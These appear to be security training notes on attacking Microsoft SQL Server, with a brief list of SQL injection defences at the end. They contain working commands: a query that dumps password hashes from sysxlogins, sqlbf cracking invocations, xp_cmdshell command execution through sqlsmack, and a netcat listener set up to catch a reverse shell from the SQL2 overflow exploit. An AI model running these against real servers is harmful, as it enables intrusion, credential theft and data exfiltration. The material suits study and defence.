-
"SQLdict"is a dictionary attack tool for SQL Server.
-
It lets you test if the accounts are strong enough to resist an attackor not.
| Note | We have discussed password cracking earlier in different contexts. When it comes to SQL Server, the fundamental attack methodology remains the same - dictionary attack and brute force. As part of its defensive measure, SQL Server does restrict access to the password hashes in the syslogin table to administrator level users by default. |
| Tools | However if the attacker has gained privileges to gain access then he can first try a dictionary attack. One such tool that can be used in this context is SQLdict. It is a dictionary attack tool for SQL Server and tests for vulnerable accounts. |
If this is unsuccessful, he can opt for a brute force attack. Though it is much slower, the brute force attack computes the hashes of every single possible combination of letters, numbers and punctuation characters for comparison with the stored hashes.
-
This tool executes commands on compromised Microsoft SQL Servers using xp_cmdshell stored procedure.
-
It uses default sa account with NULL password. But this can be modified easily.
-
USAGE: SQLExec www.target.com
SQLExec is a command-line interface written by Egemen Tas for MS-SQL servers that will allow an attacker to execute commands on the underlying operating system, execute SQL queries and upload files to the remote server. It allows the attacker to execute remote commands as Administrator over tcp port 1433. It logs in with the default password (changeable) and includes a built-in scanner for finding unsecured hosts on the network. |
It is known that MS SQL Server comes with default SA(Sys Admin) account with NULL password. It seems that many system administrators do not take care of dangers of this situation. By default SQL server comes with a few stored procedures .xp_cmdshell is one of them and used for executing commands with SQL server. Again by default SQL server installs itself with local system privileges. If someone has a right to access master database this means he can execute commands on the host. If the connected user is SA then commands are executed with the context of SQL server (Local System by default) otherwise with the context of SQLExecutiveCmdExecAccount. These behaviors occur with default installations.
-
Sqlbf is a SQL Sever Password Auditing tool. This tool should be used to audit the strength of Microsoft SQL Server passwords offline. The tool can be used either in BruteForce mode or in Dictionary attackmode. The performance on a 1GHZ pentium (256MB) machine is around 750,000 guesses/sec.
-
To be able to perform an audit, one needs the password hashes that are stored in the sysxlogins table in the master database.
-
The hashes are easy to retrieve although you need a privileged account to do so, like an sa account. The query to use would be:
select name, password from master..sysxlogins
-
To perform a dictionary attack on the retrieved hashes:
sqlbf -u hashes.txt -d dictionary.dic -r out.rep
This tool can be used to audit the strength of SQL Server passwords offline. The tool can be used either in Brute Force mode or in Dictionary attack mode. The performance on a 1 GHz Pentium (256mb) is around 750 000 guesses/sec. |
The program takes the password hashes as the input (The password hashes needs to be formatted in a text file accordingly) ,
-
To perform a dictionary attack on the retrieved hashes:
-
usage
sqlbf -u hashes.txt -d dictionary.dic -r out.rep
-
This will run the dictionary.dic against the hashes in the hashes.txt file and report found matches in the out.rep file.
-
-
To perform a brute force attack on the retrieved hashes:
-
usage
sqlbf -u hashes.txt -c default.cm -r out.rep
-
This will try to brute force the passwords by using the supplied character set in the default.cm and output the results to out.rep.
-
-
SQLSmack is a Linux based Remote Command Execution for MSSQL.
-
The tool allows when provided with a valid username and password on a remote MS SQL Server to execute commands by piping them through the stored procedure master..xp_cmdshell
This tool allows an attacker to execute commands by piping them through the xp_cmdshell stored procedure. Usage of this tool requires a valid username and password combination.. |
[sqlsmack installation]
-
Install FreeTDS (url: http://www.freetds.org/download.html)
$ tar -zpxvf freetds-o.XX.tgz $ cd freetds-0.XX $ ./configure --with-tdsver=70 --enable-msdblib $ make $ su # make install
-
Install the FreeTDS PERL Module (url: http://www.cpan.org/authors/id/S/SP/SPANNRING)
* This assumes you already have the DBI module installed. $ tar -zpxvf DBD-FreeTDS-o.XX.tgz $ cd DBD-FreeTDS-o.XX $ perl Makefile.PL $ make $ su # make install
-
Usage
[run system commands] $ ./sqlsmack.pl -h
-c'net view' [dump databases records] $ ./sqlsmack.pl -h -d MONEYDB -q'SELECT * FROM users'
-
SQL2 is a UDP Buffer Overflow Remote Exploit hacking tool.
Using sql2.exe, a remote user can reportedly send a specially crafted packet to the SQL Server 2000 Resolution Service on UDP port 1434 to trigger one of two overflows, a heap overflow or a stack overflow. This could cause the SQL server service to crash or it could cause arbitrary code to be executed in the security context of the SQL Server service. |
This tool will compromise the SQL Server and spawn a remote shell to a system of the attacker's choosing. The tool exploits a buffer overflow. Traditional Windows shellcode uses pipes to communicate to shell and the process - using the pipes as standard in, out and error. This code uses WSASocket() to create a socket handle and it is this socket that is passed to CreateProcess() as the handle for standard in, out and error. Once the shell has been created it then connects out to a given IP address and port. It therefore becomes a remote exploit which uses UDP to overflow a buffer and send a shell to tcp port 53.
SQL2 Syntax
Launch two command prompt windows:
CMD Window 1 Launch Netcat c:\> nc -1 -p 53 CMD Window 2 Launch SQL2 tool c:\> sql2.exe 2.3.4.5 5.6.4.4 53 0 (sql2)
This tool gained popularity as the code was used in the slammer worm, which affected a large number of SQL Servers.
-
Minimize Privileges of Database Connection
-
Disable verbose error messages
-
Protect the system account 'sa'
-
Audit Source Code
-
Escape Single Quotes
-
Allow only good input
-
Reject known bad input
-
Restrict length of input
-
As we've seen from the examples discussed above, the majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you're greatly reducing the chance of an injection attack succeeding.
Remove Culprit Characters/Character Sequences: As we have seen before, certain characters and character sequences such as; --, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further. As with the single quote solution, we just need a basic function to handle this:
---Regards,
Amarjit Singh
9953926905
